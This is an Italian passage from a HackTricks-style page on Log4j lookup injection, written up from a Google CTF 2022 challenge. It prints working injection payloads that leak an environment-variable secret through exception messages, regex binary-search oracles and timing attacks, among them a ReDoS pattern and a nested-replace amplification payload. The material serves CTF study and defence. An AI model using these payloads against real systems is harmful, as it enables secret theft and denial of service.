> Dalla versione 2.16.0 (per Java 8), la funzionalità di **message lookups è stata completamente rimossa**. **I lookups nella configurazione continuano a funzionare**. Inoltre, Log4j ora disabilita l'accesso a JNDI per impostazione predefinita. I lookups JNDI nella configurazione devono ora essere abilitati esplicitamente.
2022-08-10 14:32:58 +00:00
> Dalla versione 2.17.0, (e 2.12.3 e 2.3.1 per Java 7 e Java 6), **solo le stringhe di lookup nella configurazione vengono espanso ricorsivamente**; in qualsiasi altro utilizzo, solo il lookup di livello superiore viene risolto, e eventuali lookups nidificati non vengono risolti.
2022-08-10 14:32:58 +00:00
Ciò significa che per impostazione predefinita non è possibile **utilizzare alcun exploit `jndi`**. Inoltre, per eseguire **lookups ricorsivi** è necessario averli configurati.
2022-08-10 14:32:58 +00:00
Ad esempio, in quel CTF questo era configurato nel file log4j2.xml:
2022-08-10 14:32:58 +00:00
```xml
<Console name="Console" target="SYSTEM_ERR">
2024-02-10 13:03:23 +00:00
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
2022-08-10 14:32:58 +00:00
</Console>
```
2024-02-10 13:03:23 +00:00
### Ricerche Env
2022-08-10 14:32:58 +00:00
In [questo CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) l'attaccante controllava il valore di `${sys:cmd}` e doveva esfiltrare la flag da una variabile di ambiente.\
Come visto in questa pagina nei [**payloads precedenti**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) ci sono diversi modi per accedere alle variabili d'ambiente, come ad esempio: **`${env:FLAG}`**. In questo CTF questo metodo era inutile ma potrebbe essere utile in altri scenari reali.
2022-08-10 14:32:58 +00:00
### Esfiltrazione tramite Eccezioni
2022-08-10 14:32:58 +00:00
Nel CTF, non si poteva accedere allo stderr dell'applicazione Java utilizzando log4J, ma le eccezioni di Log4J **vengono inviate allo stdout**, che veniva stampato nell'applicazione Python. Ciò significava che scatenando un'eccezione potevamo accedere al contenuto. Un'eccezione per esfiltrare la flag era: **`${java:${env:FLAG}}`.** Questo funziona perché **`${java:CTF{blahblah}}`** non esiste e verrà mostrata un'eccezione con il valore della flag:
2022-08-10 14:32:58 +00:00
2022-08-13 23:06:40 +00:00
![](<../../.gitbook/assets/image (157).png>)
2022-08-10 14:32:58 +00:00
### Conversion Patterns Eccezioni
2022-08-10 14:32:58 +00:00
Solo per menzionarlo, potevi anche iniettare nuovi [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e scatenare eccezioni che verranno registrate su `stdout`. Per esempio:
2022-08-10 14:32:58 +00:00
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
2022-08-10 14:32:58 +00:00
Questo non è risultato utile per esfiltrare dati all'interno del messaggio di errore, perché la ricerca non era risolta prima del pattern di conversione, ma potrebbe essere utile per altre cose come il rilevamento.
2022-08-10 14:32:58 +00:00
### Conversion Patterns Regexes
2022-08-10 14:32:58 +00:00
Tuttavia, è possibile utilizzare alcuni **conversion patterns che supportano regexes** per esfiltrare informazioni da una ricerca utilizzando regexes e abusando dei comportamenti **binary search** o **time based**.
2022-08-10 14:32:58 +00:00
2024-02-10 13:03:23 +00:00
* **Ricerca binaria tramite messaggi di eccezione**
2022-08-10 14:32:58 +00:00
Il conversion pattern **`%replace`** può essere utilizzato per **sostituire** **contenuti** da una **stringa** anche utilizzando **regexes**. Funziona in questo modo: `replace{pattern}{regex}{substitution}`\
Abusando di questo comportamento, potresti far sì che la sostituzione **scateni un'eccezione se il regex corrisponde** a qualcosa all'interno della stringa (e nessuna eccezione se non viene trovato) in questo modo:
2022-08-10 14:32:58 +00:00
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
2024-02-10 13:03:23 +00:00
* **Basato sul tempo**
2022-08-10 14:32:58 +00:00
Come è stato menzionato nella sezione precedente, **`%replace`** supporta le **espressioni regolari**. Quindi è possibile utilizzare un payload dalla [pagina ReDoS](../regular-expression-denial-of-service-redos.md) per causare un **timeout** nel caso in cui il flag venga trovato.\
Ad esempio, un payload come `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` scatenerebbe un **timeout** in quel CTF.
2022-08-10 14:32:58 +00:00
2024-02-10 13:03:23 +00:00
In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, è stato utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta:
2022-08-10 14:46:00 +00:00
> ```
> /%replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> Se il flag inizia con `flagGuess`, l'intero flag viene sostituito con 29 `#` (ho usato questo carattere perché probabilmente non fa parte del flag). **Ciascuno dei 29 `#` risultanti viene poi sostituito da 54 `#`**. Questo processo viene ripetuto **6 volte**, portando a un totale di ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
2022-08-10 14:46:00 +00:00
>
> Sostituire così tanti `#` causerà il timeout di 10 secondi dell'applicazione Flask, che a sua volta comporterà l'invio del codice di stato HTTP 500 all'utente. (Se il flag non inizia con `flagGuess`, riceveremo un codice di stato non-500)
2022-08-10 14:46:00 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2021-12-24 01:52:37 +00:00
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
2021-12-26 17:34:46 +00:00
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
2022-08-10 14:47:15 +00:00
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-02-03 14:45:32 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>